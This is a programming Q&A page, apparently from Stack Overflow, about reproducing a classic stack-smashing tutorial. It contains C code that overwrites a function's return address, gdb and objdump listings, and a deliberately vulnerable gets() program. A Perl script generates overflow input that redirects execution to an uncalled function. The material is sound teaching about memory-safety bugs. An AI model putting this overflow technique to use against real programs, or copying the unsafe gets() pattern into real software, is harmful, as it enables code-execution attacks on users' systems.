Search code examples
cgccstack-overflowgnuexploit

Trying to smash the stack


I am trying to reproduce the stackoverflow results that I read from Aleph One's article "smashing the stack for fun and profit"(can be found here:http://insecure.org/stf/smashstack.html).

Trying to overwrite the return address doesn't seem to work for me.

C code:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }

disassembled main:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.

I have hard coded the return address to skip the x=1; code line, I have used a hard coded value from the disassembler(address : 0x4005da). The intent of this exploit is to print 0, but instead it is printing 1.

I have a very strong feeling that "ret = buffer1 + 12;" is not the address of the return address. If this is the case, how can I determine the return address, is gcc allocating more memory between the return address and the buffer.


Solution

  • Here's a guide I wrote for a friend a while back on performing a buffer overflow attack using gets. It goes over how to get the return address and how to use it to write over the old one:

    Our knowledge of the stack tells us that the return address appears on the stack after the buffer you're trying to overflow. However, how far after the buffer the return address appears depends on the architecture you're using. In order to determine this, first write a simple program and inspect the assembly:

    C code:

    void function() 
    {
        char buffer[4];
    }
    
    int main() 
    {
        function();
    }
    

    Assembly (abridged):

    function:
        pushl %ebp
        movl %esp, %ebp
        subl $16, %esp
        leave
        ret
    main:
        leal 4(%esp), %ecx
        andl $-16, %esp
        pushl -4(%ecx)
        pushl %ebp
        movl %esp, %ebp
        pushl %ecx
        call function
        ...
    

    There are several tools that you can use to inspect the assembly code. First, of course, is compiling straight to assembly output from gcc using gcc -S main.c. This can be difficult to read since there are little to no hints for what code corresponds to the original C code. Additionally, there is a lot of boilerplate code that can be difficult to sift through. Another tool to consider is gdbtui. The benefit of using gdbtui is that you can inspect the assembly source while running the program and manually inspect the stack throughout the execution of the program. However, it has a steep learning curve.

    The assembly inspection program that I like best is objdump. Running objdump -dS a.out gives the assembly source with the context from the original C source code. Using objdump, on my computer the offset of the return address from the character buffer is 8 bytes.

    This function function takes the return address and increments 7 to it. The instruction that the return address originally pointed to is 7 bytes in length, so adding 7 makes the return address point to the instruction immediately after the assignment.

    In the example below, I overwrite the return address to skip the instruction x = 1.

    simple C program:

    void function() 
    {
        char buffer[4];
        /* return address is 8 bytes beyond the start of the buffer */
        int *ret = buffer + 8;
        /* assignment instruction we want to skip is 7 bytes long */
        (*ret) += 7;
    }
    
    int main() 
    {
        int x = 0;
        function();
        x = 1;
        printf("%d\n",x);
    }
    

    Main function (x = 1 at 80483af is seven bytes long):

    8048392: 8d4c2404       lea 0x4(%esp),%ecx
    8048396: 83e4f0         and $0xfffffff0,%esp
    8048399: ff71fc         pushl -0x4(%ecx)
    804839c: 55             push %ebp
    804839d: 89e5           mov %esp,%ebp
    804839f: 51             push %ecx
    80483a0: 83ec24         sub $0x24,%esp
    80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
    80483aa: e8c5ffffff     call 8048374 <function>
    80483af: c745f801000000 movl $0x1,-0x8(%ebp)
    80483b6: 8b45f8         mov -0x8(%ebp),%eax
    80483b9: 89442404       mov %eax,0x4(%esp)
    80483bd: c70424a0840408 movl $0x80484a0,(%esp)
    80483c4: e80fffffff     call 80482d8 <printf@plt>
    80483c9: 83c424         add $0x24,%esp
    80483cc: 59             pop %ecx
    80483cd: 5d             pop %ebp
    

    We know where the return address is and we have demonstrated that changing it can affect the code that is run. A buffer overflow can do the same thing by using gets and inputing the right character string so that the return address is overwritten with a new address.

    In a new example below we have a function function which has a buffer filled using gets. We also have a function uncalled which never gets called. With the correct input, we can run uncalled.

    #include <stdio.h>
    #include <stdlib.h>
    
    void uncalled() 
    {
        puts("uh oh!");
        exit(1);
    }
    
    void function() 
    {
        char buffer[4];
        gets(buffer);
    }
    
    int main() 
    {
        function();
        puts("program secure");
    }
    

    To run uncalled, inspect the executable using objdump or similar to find the address of the entry point of uncalled. Then append the address to the input buffer in the right place so that it overwrites the old return address. If your computer is little-endian (x86, etc.) , you need to swap the endianness of the address.

    In order to do this correctly, I have a simple perl script below, which generates the input that will cause the buffer overflow that will overwrite the return address. It takes two arguments, first it takes the new return address, and second it takes the distance (in bytes) from the beginning of the buffer to the return address location.

    #!/usr/bin/perl
    print "x"x@ARGV[1];                                            # fill the buffer
    print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
    print "\n";                                                    # new line to end gets